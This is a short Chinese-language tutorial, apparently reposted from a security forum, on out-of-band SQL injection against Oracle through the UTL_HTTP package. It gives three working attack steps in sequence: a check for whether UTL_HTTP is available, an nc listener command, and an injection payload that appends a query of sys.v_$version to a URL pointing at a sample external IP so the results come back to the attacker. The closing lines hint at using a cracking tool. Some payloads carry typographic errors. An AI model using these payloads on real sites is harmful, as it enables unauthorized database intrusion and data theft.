UTL_HTTP存储过程反弹注入攻击

有时候网站限制了经典的union select 联合查询,此时也同样可以利用Oracle的一些特性进行注入攻击

例如,在Oracle中提供了utl_http.request包函数,用于取得过程的web服务器的请求信息,因此,

攻击者可以自己监听端口,然后通过这个函数用请求将需要的数据发送反弹回头,

正是由于在Oracle中提供了丰富的包和函数,以及存储过程,即使只有一个注射点,

也可以在Oracle中做任何事件,包括权限允许和权限不允许的。。。

利用UTL_HTTP存储过程实施反弹注入攻击的方法如下:

1
判断UTL_HTTP存储过程是否可用,

在注射点提交如下查询:

and exists (‘select count(*) from all_objects where object_name=’UTL_HTTP’)

如果页面返回正常,则说明UTL_HTTP存储过程可用

2
监听本地端口

首先,在本地用nc监听一个端口,要求本地主机拥有一个外网的ip地址,例如执行以下命令

nc –vv –l –p2008

监听本地2008端口

3
UTL_HTTP反弹注入

监听端口后,在注入点提交以下查询

andutl_http.request.(‘http://ip:端口/’||查询语句))=1

即可实现注入攻击,例如本机ip地址为202.202.236.236,监听端口为2008要查询Oracle版本,即可提交以下查询

andUTL_HTTP.request(‘http://202.202.236.236:2008/’||(select banner fromsys.v_$version where rownum=1))=1—

执行语句后,在nc监听窗口中就会返回注入查询结果信息

注意:每次在注入点提交一次请求,nc监听完之后就会断开,需要重新启动nc监听 

 

 

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

好把!这是我在书上看到,以前不理解,现在才明白,就发出来的!!

可能有点鸡肋!对于jsp 遇到比较少!有了穿山甲也可以破出来,然后你懂的。。

转自DIS9由网络安全攻防研究室(www.91ri.org)信息安全小组收集整理.